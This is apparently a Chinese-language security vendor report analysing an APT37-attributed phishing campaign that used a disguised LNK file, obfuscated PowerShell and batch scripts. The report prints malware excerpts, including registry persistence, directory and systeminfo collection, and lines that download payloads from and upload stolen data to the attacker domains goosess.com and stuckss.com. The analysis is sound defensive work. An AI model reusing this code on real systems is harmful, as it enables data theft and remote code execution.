概述
瑞星威胁情报平台于2024年3月捕获一起疑似针对韩国的攻击事件。攻击者疑似通过钓鱼邮件向受害者投递恶意压缩包,压缩包内含有恶意的快捷方式,该快捷方式指向恶意的PowerShell
代码。PowerShell
释放诱饵文档迷惑用户的同时还会通过和指定服务器通信来上传窃密数据以及下发恶意代码执行,这可能会导致受害者的系统被攻击者完全控制。
通过攻击手法等猜测此次事件可能和攻击组织APT37
有关联。APT37
是一个至少从2012年就开始对目标进行网络攻击的威胁组织,该组织又被称为Konni
,Group123
,TEMP.Reaper
等。APT37
威胁组织疑似来自朝鲜,具有国家背景。该组织主要目的是信息盗窃和间谍活动,其目标包括中国,俄罗斯,印度,日本,韩国等,涉及的领域有航空航天、汽车、化工、金融、政府、医疗保健、制造和运输等。
ATT&CK矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0002 -执行 |
T1059 -命令和脚本解释器 |
使用PowerShell 执行恶意命令 |
TA0002 -执行 |
T1204 -用户执行 |
诱使用户运行恶意快捷方式 |
TA0003 -持久化 |
T1547 -启动或登录自动执行 |
设置注册表实现start.vbs 自启动 |
TA0005 -防御规避 |
T1207 -混淆过的文件和信息 |
PowerShell 代码有混淆 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
47835693.bat 会收集系统信息 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
47835693.bat 会获取指定目录中的文件和文件夹列表 |
TA0009 -收集信息 |
T1119 -自动收集 |
获取并上传用户系统信息以及特定系统目录中文件和文件夹列表 |
TA0009 -收集信息 |
T1005 -来自本地系统的数据 |
47835693.bat 会获取指定目录中的文件和文件夹列表 |
TA0009 -收集信息 |
T1074 -数据暂存 |
收集的系统信息和文件信息会暂存在当前目录的txt文本中 |
TA0011 -指挥与控制 |
T1105 -文件传输工具 |
78345839.bat 和30440211.bat 能下载文件到受害者机器上 |
TA0010 -外传信息 |
T1020 -自动外传 |
上传用户系统信息以及特定系统目录中的文件和文件夹列表 |
事件详情
2024年3月,瑞星威胁情报中心捕获一起疑似针对韩国的攻击事件,攻击事件中使用了由韩语编写的诱饵文档,该文档的大致内容是:韩国Dunamu
公司(Upbit
交易所运营方)向用户提供数字资产(包括NFT
)交易支持等服务,需要用户签署的个人信息收集/使用协议。
攻击流程
攻击者疑似通过钓鱼邮件向受害者投递恶意压缩包,压缩包内含一个指向恶意PowerShell
代码的快捷方式。该快捷方式利用PowerShell
去释放诱饵文档以及cab
压缩包。cab
压缩包内含有多个恶意文件,攻击者通过执行压缩包内的start.vbs
来将这些恶意文件执行起来,从而到达窃密和下发恶意代码等目的。
相关负载分析
压缩包分析
字段 | 内容 |
---|---|
文件名 | 8E7BD31BA55449C888D3B013612F539A.zip |
文件MD5 | 8E7BD31BA55449C888D3B013612F539A |
文件类型 | ZIP |
文件大小 | 530.62 KB (543352 bytes) |
压缩包内含有两个文件,分别是첨부1_성명_개인정보수집이용동의서.docx.lnk
(翻译为附件1_姓名_个人信息收集和使用协议.docx.lnk
)以及첨부2_업비트 메일 내용(참고).pdf
(翻译为 附件2_Upbit邮件内容(参考).pdf
)。其中附件2_Upbit邮件内容(参考).pdf)
是个正常文件,文档中的内容会引导受害者打开附件1_姓名_个人信息收集和使用协议.docx.lnk
快捷方式文件。而附件1_姓名_个人信息收集和使用协议.docx.lnk
快捷式文件会指向一段恶意PowerShell
代码。
附件1_姓名_个人信息收集和使用协议.docx.lnk分析
字段 | 内容 |
---|---|
文件名 | 附件1_姓名_个人信息收集和使用协议.docx.lnk |
原始文件名 | 첨부1_성명_개인정보수집이용동의서.docx.lnk |
文件MD5 | 655893B1641565F8EA04DA4D74116B8A |
文件类型 | LNK |
文件大小 | 366.97 MB (384794394 bytes) |
病毒名 | Trojan.PSRunner/LNK!1.F965 |
文件功能 | 执行恶意PowerShell |
附件1_姓名_个人信息收集和使用协议.docx.lnk
快捷式文件指向一段恶意PowerShell
代码。PowerShell
代码首先会从附件1_姓名_个人信息收集和使用协议.docx.lnk
中提取出被加密的诱饵文档附件1_姓名_个人信息收集和使用协议.docx
的数据,然后通过异或0x51
解密复原到当前目录下,最后打开附件1_姓名_个人信息收集和使用协议.docx
文档来迷惑用户。
$BVhUaiRxai = YzJlSxYuyv;
$dirPath = QceEeRCSkI -UHCYbGzPEWQZ $BVhUaiRxai;
$utUjrvVHil = MHMPpQGMSz -YCevQqmRGu $BVhUaiRxai;
hTyCsnXOYNpF -nawJOUnZzx $BVhUaiRxai -RlTnDPsUBfVC 0x000020EC -eCNSSCoWDgl 0x00006B92 -OmElfdBcJuP 0x51 -bzaDdFrZDQ $utUjrvVHil;
& $utUjrvVHil;
PowerShell
代码继续从附件1_姓名_个人信息收集和使用协议.docx.lnk
中提取加密数据并通过异或0x88
解密得到压缩包UHCYbG.cab
,之后将UHCYbG.cab
里面的多个文件解压到C:\Users\Public\Documents
目录中。解压完后删除压缩包UHCYbG.cab
,接着启动C:\Users\Public\Documents
目录中刚被解压出来的start.vbs
脚本文件。
$ipSanAloserA=GzAaIfXbMpmZ;
hTyCsnXOYNpF -nawJOUnZzx $BVhUaiRxai -RlTnDPsUBfVC 0x00008C7E -eCNSSCoWDgl 0x00013CCF -OmElfdBcJuP 0x88 -bzaDdFrZDQ $ipSanAloserA;
vnQykamhms -zQAJWCjcuWU $BVhUaiRxai;
$TAsjCZBdLsHU = YLfJLrHwhVv;
koMIoWakvBvW -FMGlWEFVsTs $ipSanAloserA -esLEposvvv $TAsjCZBdLsHU;
vnQykamhms -zQAJWCjcuWU $ipSanAloserA;
$nQPICdrwsspp = IgnDoFlYXTz;
& $nQPICdrwsspp; #启动C:\Users\Public\documents\start.vbs
压缩包UHCYbG.cab
内含多个文件,各个文件的功能如下:
文件名 | 功能 |
---|---|
start.vbs | 执行49120862.dat |
49120862.dat | 根据特定条件执行78345839.bat,47835693.bat以及30440211.bat |
78345839.bat | 调用60712945.bat下载压缩包并执行压缩包内的1.bat |
60712945.bat | 功能模块,从指定URL中下载数据 |
47835693.bat | 获取用户系统信息以及特定系统目录中文件和文件夹列表,调用99548182.bat上传这些数据 |
99548182.bat | 功能模块,加密上传指定的数据并创建upok.txt文本表示数据上传成功 |
30440211.bat | 调用60712945.bat下载压缩包并执行压缩包内的temprun.bat |
30606240.bat | 功能模块,获取指定文件的文件名 |
unzip.exe | 白文件,解压程序 |
提取完所有所需的文件后,PowerShell
代码会删除附件1_姓名_个人信息收集和使用协议.docx.lnk
快捷式文件。
vnQykamhms -zQAJWCjcuWU $BVhUaiRxai; #强制删除lnk文件
start.vbs分析
字段 | 内容 |
---|---|
文件名 | start.vbs |
文件MD5 | 396A9B9D9E1A0489B91F9E1AC5DC6411 |
文件类型 | vbscript |
病毒名 | Trojan.Starter/VBS!1.F967 |
文件大小 | 326 bytes |
start.vbs
的主要作用是执行同目录下的49120862.dat
批处理文件。
set obj = GetObject("new:9BA05972-F6A8-11CF-A442-00A0C90A8F39")
set itemObj = obj.Item()
ZfZPDVrENDWvzXoX = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1) '获取当前脚本的完整路径
itemObj.Document.Application.ShellExecute ZfZPDVrENDWvzXoX & "" & "49120862" & ".b" & "at", Null, ZfZPDVrENDWvzXoX, Null, 0 '执行路径下的49120862.bat
set obj = Nothing
49120862.dat分析
字段 | 内容 |
---|---|
文件名 | 49120862.dat |
文件MD5 | 23FBC0F35F33EC0ABC100E0DD5E21033 |
文件类型 | batch |
病毒名 | Trojan.Starter/BAT!1.F974 |
文件大小 | 583 bytes |
49120862.dat
批处理文件会判断是否存在78345839.bat
文件,如果存在则将start.vbs
添加到注册表自启动项中,然后执行78345839.bat
和47835693.bat
两个文件,最后删除78345839.bat
。
if exist "78345839.bat" (
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "%~dp0start.vbs" /f > nul
call 78345839.bat > nul
call 47835693.bat > nul
del /f /q 78345839.bat > nul
)
49120862.dat
批处理文件接下来会判断是否存在78345839.bat
文件和upok.txt
文件,同时不存在执行47835693.bat
。
if not exist "78345839.bat" (
if not exist "upok.txt" (
call 47835693.bat > nul
)
)
49120862.dat
批处理文件最后会两次判断是否存在fin.txt
文件,如果存在则删除fin.txt
文,如果fin.txt
不存在则执行30440211.bat
。
if not exist "fin.txt" (goto 1)
if exist "fin.txt" (goto EXIT)
:1
call 30440211.bat > nul
timeout -t 57 /nobreak
if not exist "fin.txt" (goto 1)
if exist "fin.txt" (goto EXIT)
:EXIT
del /f /q "fin.txt"
78345839.bat分析
字段 | 内容 |
---|---|
文件名 | 78345839.bat |
文件MD5 | D6F4D4A85D7B8B940BF6155806D6F930 |
文件类型 | batch |
病毒名 | Downloader.Agent/BAT!1.F972 |
文件大小 | 424 bytes |
78345839.bat
会调用60712945.bat
批处理文件从hxxps[:]//goosess[.]com/read/get.php
处下载di3726.zip
。
set fn=di3726
call 60712945.bat "https://goosess.com/read/get.php?wc=iew&vf=lk0100" "%~dp0%fn%.zip" "1" > nul
78345839.bat
会调用同目录下的unzip.exe
解压di3726.zip
,解压密码为a0
。解压后删除压缩包,执行解压后的批处理文件1.bat
。
set dt=1.bat
if not "%dt%"=="" (
call unzip.exe -o -P "a0" "%~dp0%fn%.zip" > nul
del /f /q %~dp0%fn%.zip > nul
if exist %~dp0%dt% (
call %~dp0%dt% > nul
)
)
60712945.bat分析
字段 | 内容 |
---|---|
文件名 | 60712945.bat |
文件MD5 | 3E16B90540BB6086C604D0353F5F9A7F |
文件类型 | batch |
病毒名 | Downloader.Agent/PS!1.F968 |
文件大小 | 2062 bytes |
将URL
按问号?
分割成两部分,分割后的第二部分(即查询字符串)作为特征字符串被RC4
加密后再进行Base64
编码。通过等号=
将RC4
密钥和加密后的特征字符串连接,最终和分割后的第一部分组合成新的URL
(例如:hxxps[:]//goosess[.]com/read/get.php?wc=iew&vf=lk0100
变成hxxps[:]//goosess[.]com/read/get.php?638453643524567361=1EZE5wbSkhJACJoq98h5TQ==
)。RC4
密钥为当前日期。
$GilCbwtVtsL = (Get-Date).Ticks.ToString();#获取当前日期
$JMWjVfWRzVri = $VbDSqCkiXZQ.Split('?')[1];
$KNQDusHeEmF = OnavpMuwhH -UmdocLPwMM $JMWjVfWRzVri -mIiGBlcMoFh $GilCbwtVtsL;
$VbDSqCkiXZQ = $VbDSqCkiXZQ.Split('?')[0] + '?' + $GilCbwtVtsL + '=' + [System.Web.HttpUtility]::UrlEncode($KNQDusHeEmF);
访问新的URL
下载数据。
iwr -Uri $VbDSqCkiXZQ -OutFile $KWnAhHWFxDer;
47835693.bat分析
字段 | 内容 |
---|---|
文件名 | 47835693.bat |
文件MD5 | C8C9FEF7678D9D3E3DEDEF57B328C080 |
文件类型 | batch |
病毒名 | Stealer.Agent/BAT!1.F973 |
文件大小 | 605 bytes |
47835693.bat
获取用户的downloads
、documents
、desktop
目录下的文件和文件夹列表,并将结果存在当前目录中的d1.txt
、d2.txt
、d3.txt
文本中。获取系统信息,并将结果存在当前目录中的d4.txt
文本中。
dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt
systeminfo > %~dp0d4.txt
47835693.bat
调用99548182.bat
批处理文件加密上传d1.txt
、d2.txt
、d3.txt
、d4.txt
文本到hxxp[:]//stuckss[.]com/upload.php
上。
::参数1:数据上传地址
::参数2:要上传的数据
::参数3:上传数据的描述
call 99548182.bat "http://stuckss.com/upload.php" "d1.txt" "%COMPUTERNAME%_down.txt" >nul
call 99548182.bat "http://stuckss.com/upload.php" "d2.txt" "%COMPUTERNAME%_docu.txt" >nul
call 99548182.bat "http://stuckss.com/upload.php" "d3.txt" "%COMPUTERNAME%_desk.txt" >nul
call 99548182.bat "http://stuckss.com/upload.php" "d4.txt" "%COMPUTERNAME%_sys.txt" >nul
99548182.bat分析
字段 | 内容 |
---|---|
文件名 | 99548182.bat |
文件MD5 | D8047AC489BC55B1353904B986C53059 |
文件类型 | batch |
病毒名 | Stealer.Agent/PS!1.F978 |
文件大小 | 2758 bytes |
对指定要上传的数据进行RC4
加密和Base64
编码,之后将RC4
的密钥以及加密数据上传到指定URL
上。RC4
的密钥是当前日期。
$vSWCboPNXzG = [System.Net.WebRequest]::Create($eqzyqfKtshq); # 访问URL(参数1)
$vSWCboPNXzG.Method = 'PO' + 'ST';
$vSWCboPNXzG.ContentType = 'ap' + 'plic' + 'ati' + 'on/x' + '-ww' + 'w-for' + 'm-ur' + 'len' + 'co' + 'ded'; #application/x-www-form-urlencoded
$vSWCboPNXzG.ContentLength = $cGmHomhQRSLg.Length;
$fxVcHSwNgCub = $vSWCboPNXzG.GetRequestStream();
$fxVcHSwNgCub.Write($cGmHomhQRSLg, 0, $cGmHomhQRSLg.Length);
发送数据后,检测HTTP
响应的状态码是否等于OK
,如果是就删除存放数据的txt
文件,并在当前目录下创建名为upok.txt
的文本文件。
if ($ZABcjbdftCBY.StatusCode -eq [System.Net.HttpStatusCode]::OK) {
Remove-Item -Path $GqrwXQwpGy; #删除参数2
$TuJxMBAXFNQ = '%~dp0up' + 'ok.t' + 'xt';
New-Item -ItemType File -Path $TuJxMBAXFNQ; #当前目录下创建upok.txt
}
30440211.bat分析
字段 | 内容 |
---|---|
文件名 | 30440211.bat |
文件MD5 | 1AF7148DC027753297E0F28770F16D4E |
文件大小 | 260 bytes |
病毒名 | Downloader.Agent/BAT!1.F972 |
文件类型 | batch |
30440211.bat
调用60712945.bat
批处理文件从hxxp[:]//stuckss[.]com/list.php
处下载rBTob.cab
。之后解压rBTob.cab
,解压完后将其删除,接着执行解压后的temprun.bat
批处理文件。
call 60712945.bat "http://stuckss.com/list.php?f=%COMPUTERNAME%.txt" "%~dp0rBTob.cab" "1"> nul
expand rBTob.cab -F:* %~dp0 > nul
del /f /q rBTob.cab > nul
call temprun.bat > nul
30606240.bat分析
字段 | 内容 |
---|---|
文件名 | 30606240.bat |
文件MD5 | 236A9C9FDF9659EE52E441334BD53628 |
文件类型 | batch |
文件大小 | 184 bytes |
获取指定文件的文件名。
pushd %~dp0
powershell -command "$sl1=new-object -com shell.application;$z=$sl1.Namespace('%~dp0%~1');$z.items().item(0).name;" > %~dp0%~2
攻击过程可视化(EDR)
瑞星EDR详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的部分进程树以及相关的文件和文件流向,注册表、域名、IP的访问情况。
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
8E7BD31BA55449C888D3B013612F539A 655893B1641565F8EA04DA4D74116B8A 396A9B9D9E1A0489B91F9E1AC5DC6411 23FBC0F35F33EC0ABC100E0DD5E21033 D6F4D4A85D7B8B940BF6155806D6F930 3E16B90540BB6086C604D0353F5F9A7F C8C9FEF7678D9D3E3DEDEF57B328C080 D8047AC489BC55B1353904B986C53059 1AF7148DC027753297E0F28770F16D4E 236A9C9FDF9659EE52E441334BD53628
-
URL
hxxps[:]//goosess[.]com/read/get.php?wc=iew&vf=lk0100 hxxps[:]//goosess[.]com/read/get.php hxxps[:]//goosess[.]com/read/get.php?638453643524567361=1EZE5wbSkhJACJoq98h5TQ== hxxp[:]//stuckss[.]com/upload.php hxxp[:]//stuckss[.]com/list.php hxxp[:]//stuckss[.]com/list.php?638454503647430090=6SkBmIh3/Kkbu5nFvFZF2RSAIz7F
-
Domain
goosess[.]com stuckss[.]com